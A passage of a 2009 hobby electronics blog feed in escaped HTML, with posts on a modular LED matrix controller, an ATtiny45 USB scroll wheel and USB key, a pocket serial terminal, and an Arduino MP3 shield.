class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Why?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;I liked all of the many LED matrix projects seen on the web and in Circuit Cellar magazine. To enlarge or adapt these displays would mean a redesign of firmware and hardware.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;I had a small number of dense 16 by 16 matrices sitting about from my times bargain hunting in Akihabara. These are unused by any of the projects I have seen on the web and in magazines. These matrices have a strange footprint, the pin layout is a cross formation rather than two parallel rows of pins which is more commonly seen). This means work is needed to adapt existing projects to work.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;If I built a system purely around the LED matrices I have then very few people could use the resulting design. I would also not be able to reuse the design once my limited supply of these matrices was consumed. By separating out the control hardware from the display hardware I am able to make a much more flexible and enduring design.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;I've always been a fan of the 2 Line LCD displays which are common in many projects. These have a standard well known interface so it is trivial to add one to a project. I want to bring that ease of implementation to scrolling LED matrix displays as I have many projects that could all benefit from a large display.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;What has been done so far?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;A prototype 2 Layer PCB has been manufactured by Batch PCB. &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Some basic screen display firmware has been written.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;A system tested with 1 Bit per pixel, 16 bit columns of the display are clocked in and displayed while last word in buffer is clocked out. &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Preliminary PWM brightness control has been tested but not on a pixel per pixel basis.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;What needs to be done?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-weight: normal; font-style: italic; "&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Hardware&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Move resistors ( LED module pcb)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Add decoupling caps (control module pcb)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Add local voltage regs (control module pcb)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Build more modules for testing of chaining&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Build different LED Modules&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Firmware&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Extend from on/off pixels to brightness value&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;ISR response needs improving&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Software Library/Examples&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Arduino software is only a basic testing routine.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;What will be done?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;To call this project finished these are the things I hope to have done.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Release all firmware under a Creative commons License.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Release all pcb files under a Creative commons License.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Release protocols /data sheets under a Creative commons License.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Release an Arduino library to talk to a string of these under a Creative commons License.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;How Long will it take?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;It will probably never be completed. So I hope to publish unfinished work when it is suitably unfinished whenever I remember.&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-6009914846968964394?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/6009914846968964394/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=6009914846968964394' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6009914846968964394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6009914846968964394'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/09/modular-led-matrix-controller-mlmc.html' title='Modular LED Matrix Controller (MLMC)'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPA9s3CNI/AAAAAAAAAB8/G3UZsv3P7q8/s72-c/IMG_9908.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-7576809160559767193</id><published>2009-08-05T19:01:00.003+01:00</published><updated>2009-08-05T22:09:16.302+01:00</updated><title type='text'>USB Scroll Wheel</title><content type='html'>I have been having a play with a rotary encoder this week and decided to turn it into a USB scroll wheel. I was using &lt;a href="http://uk.farnell.com/vishay-spectrol/601-1045/sensor-smart-pot/dp/3282661"&gt; a very nice encoder &lt;/a&gt; but any standard potentiometer without the stop or a cheaper encoder  would also work.&lt;br /&gt;&lt;br /&gt;The whole experience turned out be much easier than I originally thought. To get a standalone USB device  up and running took very little effort at all.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;HARDWARE&lt;/b&gt;&lt;br /&gt;I took one of my &lt;a href="http://stuffthingsandjunk.blogspot.com/2009/06/attiny45-usb-key.html"&gt;ATtiny45 USB-Key&lt;/a&gt; PCBs and  hacked on a voltage divider (two 330k resistors) and some wires to my encoder (+5v, GND, Signal). The purpose of the voltage divider is to keep the sensor output (or ADC input) below the 2.56 vRef being used on the chip and also below the 3.6V being used as Vcc on the PCB.&lt;div&gt;&lt;br /&gt;&lt;div&gt;No pictures or videos yet as it is just a ball of wires.&lt;div&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;FIRMWARE&lt;/b&gt;&lt;br /&gt;The firmware is based on the &lt;a href="http://www.obdev.at/products/vusb/easylogger.html"&gt;Easy logger project from Objective Development&lt;/a&gt;. I changed the USB HID report descriptor to reflect a mouse rather than a keyboard. I then added a bit of code to analyse the ADC reading and calculate the rotational velocity of the wheel.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;The device is only active once you push the button. This is to stop everything going crazy when I plug in a half finished device during development. The device can be switched off again by another press of the button for the same reason.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I got pretty bored reading all the USB HID documentation so rather than figuring it all out properly, I just snooped in on my normal mouse, read the HID report descriptor and adapted the relevant parts used for it's scroll wheel.  The software I used to snoop was "USB Prober" which is in my Utilities folder (Mac OS X 10.5).  This might be a standard issue tool or I may have installed it as part of the developer tools.  A screen-shot of grabbing this information is shown &lt;a href="http://brokentoaster.com/usb-dial/usbprober.png"&gt;here&lt;/a&gt;. I don't know where or how to find out this info on windows but I'd look at Jan Axelson's site &lt;a href="http://www.lvr.com/development_tools.htm"&gt;here&lt;/a&gt; as a good place to start.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;PROBLEMS / STATUS&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Even though I've altered &lt;span class="Apple-style-span"  style="  color: rgb(104, 56, 33); font-family:Monaco, fantasy;"&gt;USB_CFG_HID_REPORT_DESCRIPTOR_LENGTH &lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia, -webkit-fantasy;"&gt;in the code it doesn't seemed to have effected the report descriptor on the computer. More than likely I've missed something somewhere but that is what you get for a quick hack.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia, -webkit-fantasy;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia, -webkit-fantasy;"&gt;&lt;span class="Apple-style-span"  style=" ;font-family:Georgia, fantasy;"&gt;The source code to main.c is at &lt;a href="http://brokentoaster.com/usb-dial/main.c.html"&gt;http://brokentoaster.com/usb-dial/main.c.html &lt;/a&gt;.   I also made a couple of minor changes to the usbconfig.h file which is at &lt;a href="http://brokentoaster.com/usb-dial/usbconfig.h.html"&gt;http://brokentoaster.com/usb-dial/usbconfig.h.html&lt;/a&gt;. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia, -webkit-fantasy;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Georgia, -webkit-fantasy;"&gt; It doesn't work that well but it does work.  Most importantly it proves to me that I can now take any sensor I like and turn it into a computer interface device of some description... perhaps even do something usefull ... one day ... maybe.  &lt;span class="Apple-style-span"  style="font-family:Georgia, fantasy;"&gt;If I ever get some presentable hardware together I'll update with a picture or two.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-7576809160559767193?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://brokentoaster.com/usb-dial/main.c.html' title='USB Scroll Wheel'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/7576809160559767193/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=7576809160559767193' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/7576809160559767193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/7576809160559767193'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/08/usb-scroll-wheel.html' title='USB Scroll Wheel'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-7603862721440261464</id><published>2009-07-11T19:37:00.005+01:00</published><updated>2009-07-23T13:18:17.064+01:00</updated><title type='text'>Quickcoms 2 : Pocket Term</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_zYnUjlpmq30/Sj1ncbtOc5I/AAAAAAAAACU/hRaEjuaqE28/s1600-h/IMG_6977+copy.JPG"&gt;&lt;img style=" margin:0px 10px 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://3.bp.blogspot.com/_zYnUjlpmq30/Sj1ncbtOc5I/AAAAAAAAACU/hRaEjuaqE28/s400/IMG_6977+copy.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5349545670557463442" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_zYnUjlpmq30/Sj1ncVkr5oI/AAAAAAAAACM/5uivvuU_KDg/s1600-h/IMG_6991+copy.JPG"&gt;&lt;img style=" margin:0px 10px 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://4.bp.blogspot.com/_zYnUjlpmq30/Sj1ncVkr5oI/AAAAAAAAACM/5uivvuU_KDg/s400/IMG_6991+copy.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5349545668911031938" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I started this project in 2006 while I was living in Japan with an idea to enter it in the &lt;a href="http://www.circuitcellar.com/avr2006/index.htm"&gt;2006 AVR competition&lt;/a&gt;. Some things went astray with the hardware design so I dumped it in order to do &lt;a href="http://www.circuitcellar.com/avr2006/winners/DE/DE.htm"&gt;five other more viable entries&lt;/a&gt;. The concept for the project was to take my &lt;a href="http://brokentoaster.com/quickcoms/"&gt;Quickcoms&lt;/a&gt; Renasas design from 2005 and develop it further from the prototype. I mostly wanted to add keyboard support so it could act as stand alone terminal in addition to just decoding serial data. I also wanted it to be the size of a deck of cards and support a LiION battery. I wanted to enlarge the LCD to get closer to 80x40 chars on screen. Include support for a couple of LCDs on the PCBs to allow for a black and white low power version.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What went wrong ( other than trying to put the moon on a stick) ?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;I  made an assumption about the keyboard from the AVR application note that I would not have to send any data to the keyboard. Most AT keyboards will work without you sending any data back towards them  so long as you don't wish to change the status LEDs. I bought a neat little keyboard to go with project from one of the many electronics dens around Akihabara. I wanted something small and light to throw in a toolkit without taking up all the room. &lt;a href="http://stuffthingsandjunk.blogspot.com/2007/08/ps2-keyboard-startup.html"&gt;Unfortunately this keyboard used an obscure chipset which follows an old protocol which purposely sends a malformed packet and waits for you to send an error response.&lt;/a&gt; With no scope or Logic analyser at the time this was a pretty big nail in this projects coffin. Although it only required a couple of small changes to the PCB and some voltage dropping resistors to configure the ATMega16 to transmit I managed to procrastinate this for two years.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;I managed to blow up the back-lighting on the LCD display. Took me a while to get around to ordering a replacement. &lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;I didn't provide a decent positive and negative supply rail for the op amps. I tried to rely on the comms transceiver chip to provide this. Unfortunately it was supplying 1 quad opamp and several multiplexes it and seemed to fall over completely. In my prototype I simply  used a MAX232ACP with onboard capacitors to provide my circuits with the rails. I had assumed the new transceiver chip would be able to do the same.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Where is it at now?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Well after sorting out the keyboard issue and  replacing the LCD I have a small screen that will echo characters from the PS2 keyboard and from PC via a USB serial port. What needs to happen next is sorting out a positive and negative voltage rail to support the multiplexers and opamps. Once that is done I can start porting the code from the original system over to the AVR.&lt;div&gt; After that is complete I can add the extra features such as logging to the screen, save and replay sessions,  and saved macros.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;And then What?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After that there is the case (already partially designed) and publishing documentation of the project for the website.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-7603862721440261464?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/7603862721440261464/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=7603862721440261464' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/7603862721440261464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/7603862721440261464'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/07/quickcoms-2-pocket-term.html' title='Quickcoms 2 : Pocket Term'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_zYnUjlpmq30/Sj1ncbtOc5I/AAAAAAAAACU/hRaEjuaqE28/s72-c/IMG_6977+copy.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-6353506340938319201</id><published>2009-06-30T23:43:00.003+01:00</published><updated>2009-07-01T21:18:50.148+01:00</updated><title type='text'>MP3 Rev F GERBER Files now available</title><content type='html'>Just a quick note to say that The GERBER files are now available on server. I have also tidyed up the CVS for PCB files and moved the old Protel files. I've also update the release names for the hardware to match the PCB Revisions.&lt;br /&gt;&lt;br /&gt;This should make it easier for those of you out their that just want to build the standard design without custom modifications.&lt;br /&gt;The downloads can be found at https://sourceforge.net/projects/butterflymp3/files/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-6353506340938319201?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='https://sourceforge.net/project/showfiles.php?group_id=124112&amp;package_id=135611' title='MP3 Rev F GERBER Files now available'/><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/6353506340938319201/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=6353506340938319201' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6353506340938319201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/6353506340938319201'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/06/mp3-rev-f-gerber-files-now-available.html' title='MP3 Rev F GERBER Files now available'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-2504751869915050996</id><published>2009-06-22T19:22:00.003+01:00</published><updated>2009-07-11T19:48:25.833+01:00</updated><title type='text'>ATTiny45 USB Key</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPA6W7oOI/AAAAAAAAAB0/XWvYxvMIHBs/s1600-h/IMG_9907.JPG"&gt;&lt;img style="display:block; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPA6W7oOI/AAAAAAAAAB0/XWvYxvMIHBs/s400/IMG_9907.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5349378071981695202" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;USB Key. &lt;/span&gt;&lt;br /&gt;These are simply ATTiny45 based USB devices based on the V-USB circuits and drivers developed at &lt;a href="http://www.obdev.at/products/vusb/index.html"&gt;Ob-Dev&lt;/a&gt;. I haven't decided what to do with these yet but the many ideas include a prank keyboard dongles like the &lt;a href="http://macetech.com/blog/node/46"&gt;capslocker&lt;/a&gt; or  a keyboard to continually  hit F1 or Delete to ensure the bios comes up.&lt;br /&gt;&lt;br /&gt;My original idea was to have it generate and remember random passwords so you don't need to type in your 63 char password for the wireless router every time someone comes to visit , simply plug in the dongle and it will type it for you. There are other non keyboard ideas as well such as a simple data logger that converts voltage, temperature, (insert random digital sensor here) to a comport that responds to commands or simply pushes data at a specified rate.&lt;br /&gt;&lt;br /&gt;I see Sparkfun have done a nice version of this PCB with some similar ideas. Theres is called &lt;a href="http://www.sparkfun.com/commerce/product_info.php?products_id=9147"&gt;AVR Stick&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-2504751869915050996?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/2504751869915050996/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=2504751869915050996' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/2504751869915050996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/2504751869915050996'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/06/attiny45-usb-key.html' title='ATTiny45 USB Key'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPA6W7oOI/AAAAAAAAAB0/XWvYxvMIHBs/s72-c/IMG_9907.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-1902022809772787724</id><published>2009-06-22T19:20:00.002+01:00</published><updated>2009-06-28T18:24:15.400+01:00</updated><title type='text'>MP3 Shield for Arduino</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_zYnUjlpmq30/SjzPAmL1lII/AAAAAAAAABs/Df_kCBEhYnk/s1600-h/IMG_9905.JPG"&gt;&lt;img style="display:block; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://2.bp.blogspot.com/_zYnUjlpmq30/SjzPAmL1lII/AAAAAAAAABs/Df_kCBEhYnk/s400/IMG_9905.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5349378066566452354" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;MP3 Shield for Ardiuno&lt;/span&gt;. Still needs a couple of fixes to the PCB ( I forgot that the arduino was running at 5V not 3V). Might add some voltage dropping resistors as the cheap solution (£0.10) or add an 74HC245 to do it properly so it can run with 3V arduino boards without mods (£0.34). I think I will go for resistors as this makes assembly easier and to mod for 3v operation just means removing a couple. No firmware as of yet so my next job(after fixing the hardware ) will be porting the vs1001 libs from the butterflymp3 project over to arduino. Haven't decided weather to use my own MMC and FAT routines or just grab the ones from &lt;a href="http://www.adafruit.com/index.php?main_page=product_info&amp;cPath=17_21&amp;products_id=94"&gt;adafruit's wave shield &lt;/a&gt;.  The board has a 3.5mm headphone socket, SD/MMC slot, VS1011 decoder and a 5 way joystick. Perfect for mucking about with MP3s and Arduino.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-1902022809772787724?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/1902022809772787724/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=1902022809772787724' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1902022809772787724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/1902022809772787724'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2009/06/mp3-shield-for-arduino.html' title='MP3 Shield for Arduino'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_zYnUjlpmq30/SjzPAmL1lII/AAAAAAAAABs/Df_kCBEhYnk/s72-c/IMG_9905.JPG' height='72' width='72'/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-6058465942693837868</id><published>2009-06-20T12:53:00.017+01:00</published><updated>2009-06-22T21:47:58.865+01:00</updated><title type='text'>Whats on my bench at the moment....</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPAeRRu9I/AAAAAAAAABk/mokd4PxJmoE/s1600-h/IMG_9904.JPG"&gt;&lt;img style="display:block; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPAeRRu9I/AAAAAAAAABk/mokd4PxJmoE/s400/IMG_9904.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5349378064441785298" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Its been rather quiet (blogwise) for me lately, so I thought I'd update with what I've been working on lately. The following is a rough outline of the stuff I've been working on and probably why I feel like I never get anything done.&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt; General purpose usb key for experimenting with USB drivers firmware and the rest.&lt;br /&gt;&lt;li&gt; MP3 shield for &lt;a href="http://arduino.cc"&gt;Arduino&lt;/a&gt;. Basically an Arduino version of the ButterflyMP3 project.&lt;br /&gt;&lt;li&gt; Daisy chained LED matrix controller. A flexible and extendable display made up of modules that can make any length display you want without changing the firmware. &lt;br /&gt;&lt;li&gt; Quickcoms 2: Pocket Term. A follow up to my &lt;a href="http://www.circuitcellar.com/magazine/198toc.htm"&gt;Circuit Cellar article&lt;/a&gt; and &lt;a href="http://www.circuitcellar.com/renesas2005m16c/winners/DE/1765.htm"&gt;competition project&lt;/a&gt;. Current quickcoms info is &lt;a href="http://brokentoaster.com/quickcoms/"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;li&gt; ButterflyMP3 VS1053 hardware revision.This newer chip decodes :&lt;blockquote&gt; Ogg Vorbis; MPEG 1 &amp; 2 audio layer III (CBR +VBR +ABR); layers I &amp; II optional; MPEG4 / 2 AAC-LC(+PNS), HE-AAC v2 (Level 3) 